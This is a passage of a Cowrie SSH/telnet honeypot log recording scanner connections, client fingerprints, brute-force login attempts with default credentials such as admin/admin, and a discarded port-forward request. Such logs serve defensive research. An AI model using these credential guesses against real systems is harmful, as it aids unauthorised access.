:["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:29.323775Z","src_ip":"78.128.112.74","session":"8d71074a3487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":46626,"dst_ip":"159.203.135.109","dst_port":22,"session":"73644fe1f1a7","protocol":"ssh","message":"New connection: 118.193.33.42:46626 (159.203.135.109:22) [session: 73644fe1f1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:30.328866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:30.630082Z","src_ip":"118.193.33.42","session":"73644fe1f1a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty123","message":"login attempt [user/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:30.689673Z","src_ip":"78.128.112.74","session":"8d71074a3487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:30.843186Z","src_ip":"118.193.33.42","session":"73644fe1f1a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:32.171485Z","src_ip":"78.128.112.74","session":"8d71074a3487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"999999","message":"login attempt [user/999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:32.358813Z","src_ip":"118.193.33.42","session":"73644fe1f1a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:33.590183Z","src_ip":"118.193.33.42","session":"73644fe1f1a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0053322315216,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:46.288057Z","src_ip":"154.223.128.46","session":"68b6945117e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60550,"dst_ip":"10.17.0.5","dst_port":22,"session":"6212fc9b881f","protocol":"ssh","message":"New connection: 87.251.64.176:60550 (10.17.0.5:22) [session: 6212fc9b881f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:54.714808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:54.719851Z","src_ip":"87.251.64.176","session":"6212fc9b881f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:54.873939Z","src_ip":"87.251.64.176","session":"6212fc9b881f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:55.287426Z","src_ip":"87.251.64.176","session":"6212fc9b881f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:55.440315Z","session":"6212fc9b881f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:55.590165Z","src_ip":"87.251.64.176","session":"6212fc9b881f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:55.747148Z","src_ip":"87.251.64.176","session":"6212fc9b881f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.147","src_port":62256,"dst_ip":"10.17.0.5","dst_port":22,"session":"935856abcba8","protocol":"ssh","message":"New connection: 45.148.10.147:62256 (10.17.0.5:22) [session: 935856abcba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:03:01.313126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:03:01.318323Z","src_ip":"45.148.10.147","session":"935856abcba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:03:01.393795Z","src_ip":"45.148.10.147","session":"935856abcba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:03:01.730782Z","src_ip":"45.148.10.147","session":"935856abcba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":34598,"dst_ip":"10.17.0.5","dst_port":22,"session":"18266eb9caf1","protocol":"ssh","message":"New connection: 43.165.177.199:34598 (10.17.0.5:22) [session: 18266eb9caf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:03:32.993335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:03:32.998334Z","src_ip":"43.165.177.199","session":"18266eb9caf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:03:33.179618Z","src_ip":"43.165.177.199","session":"18266eb9caf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpguest","password":"1","message":"login attempt [ftpguest/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:03:33.914204Z","src_ip":"43.165.177.199","session":"18266eb9caf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:03:35.094282Z","src_ip":"43.165.177.199","session":"18266eb9caf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.236","src_port":64324,"dst_ip":"159.203.135.109","dst_port":22,"session":"66dc45185fe7","protocol":"ssh","message":"New connection: 92.118.39.236:64324 (159.203.135.109:22) [session: 66dc45185fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:04:11.625334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:04:11.630627Z","src_ip":"92.118.39.236","session":"66dc45185fe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:04:11.734551Z","src_ip":"92.118.39.236","session":"66dc45185fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:04:12.181132Z","src_ip":"92.118.39.236","session":"66dc45185fe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.243.24.48","src_port":34804,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a23c4870dae","protocol":"telnet","message":"New connection: 91.243.24.48:34804 (10.17.0.5:23) [session: 4a23c4870dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:05:48.222016Z"}
{"eventid":"cowrie.session.closed","duration":0.8762657642364502,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:05:49.098158Z","src_ip":"91.243.24.48","session":"4a23c4870dae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":56569,"dst_ip":"10.17.0.5","dst_port":23,"session":"90536b83ccf6","protocol":"telnet","message":"New connection: 49.88.156.34:56569 (10.17.0.5:23) [session: 90536b83ccf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:06:09.542559Z"}
{"eventid":"cowrie.session.closed","duration":120.02266764640808,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:08:09.565114Z","src_ip":"49.88.156.34","session":"90536b83ccf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25212,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a86148e44d6","protocol":"ssh","message":"New connection: 2.57.121.112:25212 (159.203.135.109:22) [session: 9a86148e44d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:08:35.651306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:08:35.656370Z","src_ip":"2.57.121.112","session":"9a86148e44d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:08:35.751563Z","src_ip":"2.57.121.112","session":"9a86148e44d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210883","message":"login attempt [admin/210883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:08:36.209491Z","src_ip":"2.57.121.112","session":"9a86148e44d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21081998","message":"login attempt [admin/21081998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:08:37.307703Z","src_ip":"2.57.121.112","session":"9a86148e44d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21081997","message":"login attempt [admin/21081997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:08:38.405947Z","src_ip":"2.57.121.112","session":"9a86148e44d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210778","message":"login attempt [admin/210778] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:08:39.504073Z","src_ip":"2.57.121.112","session":"9a86148e44d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21071969","message":"login attempt [admin/21071969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:08:40.601681Z","src_ip":"2.57.121.112","session":"9a86148e44d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:08:41.699517Z","src_ip":"2.57.121.112","session":"9a86148e44d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.63","src_port":50882,"dst_ip":"10.17.0.5","dst_port":23,"session":"28764c728b42","protocol":"telnet","message":"New connection: 160.119.76.63:50882 (10.17.0.5:23) [session: 28764c728b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:12:57.079839Z"}
{"eventid":"cowrie.session.closed","duration":0.32037830352783203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:12:57.400136Z","src_ip":"160.119.76.63","session":"28764c728b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.63","src_port":59140,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c06bad4bdcf","protocol":"telnet","message":"New connection: 160.119.76.63:59140 (10.17.0.5:23) [session: 3c06bad4bdcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:14:21.821034Z"}
{"eventid":"cowrie.session.closed","duration":5.000033855438232,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:14:26.820979Z","src_ip":"160.119.76.63","session":"3c06bad4bdcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":48781,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6e4e2d4608c","protocol":"ssh","message":"New connection: 154.117.199.5:48781 (10.17.0.5:22) [session: d6e4e2d4608c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:14:41.180411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:14:41.416889Z","src_ip":"154.117.199.5","session":"d6e4e2d4608c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:14:41.653384Z","src_ip":"154.117.199.5","session":"d6e4e2d4608c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":46660,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ead5942b7a5","protocol":"ssh","message":"New connection: 194.59.206.2:46660 (10.17.0.5:22) [session: 2ead5942b7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:14:55.068508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:14:55.078411Z","src_ip":"194.59.206.2","session":"2ead5942b7a5","protocol":"ssh"}
